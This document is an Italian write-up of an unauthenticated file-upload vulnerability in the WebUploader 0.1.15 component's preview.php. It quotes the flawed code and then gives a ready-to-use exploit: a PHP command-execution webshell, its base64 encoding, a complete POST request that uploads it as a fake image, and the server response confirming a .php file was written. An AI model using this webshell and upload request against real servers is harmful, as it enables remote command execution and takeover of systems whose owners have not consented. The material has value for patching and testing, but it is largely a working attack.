Il componente webuploader-v-0.1.15 presenta una vulnerabilità di upload di file (non autorizzato)

Introduzione: il componente Baidu WebUploader presenta una vulnerabilità di upload di file. La vulnerabilità è dovuta al fatto che la pagina di upload del componente WebUploader non filtra rigorosamente i tipi di file o le estensioni; un attaccante può sfruttarla per caricare direttamente o aggirare facilmente le restrizioni e caricare file di script, eseguire comandi di sistema e ottenere i permessi del server web.

server/preview.php

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

0x00 Utilizzo di Python

python exp.py http://192.168.2.18/webuploader-0.1.15-Demo/server/preview.php

php_webshell

<?php
    if(isset($_REQUEST['cmd'])){
            echo "<pre>";
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            echo "</pre>";
            die;
    }
    phpinfo();
?>

Codifica base64

PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

0x01 POST di upload di webshell PHP

http://192.168.2.18/webuploader-0.1.15-Demo/server/preview.php

Richieste BurpSuite

POST /webuploader-0.1.15-Demo/server/preview.php HTTP/1.1
Host: 192.168.2.18
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 298
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

data:image/php;base64,PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

Risposta BurpSuite

HTTP/1.1 200 OK
Date: Fri, 06 Sep 2019 05:40:48 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
X-Powered-By: PHP/5.5.9
Connection: close
Content-Type: text/html
Content-Length: 142

{"jsonrpc" : "2.0", "result" : "http://192.168.2.18/webuploader-0.1.15-Demo/server/preview/fe8db86134e6505da6f3c4a112b0bad7.php", "id" : "id"}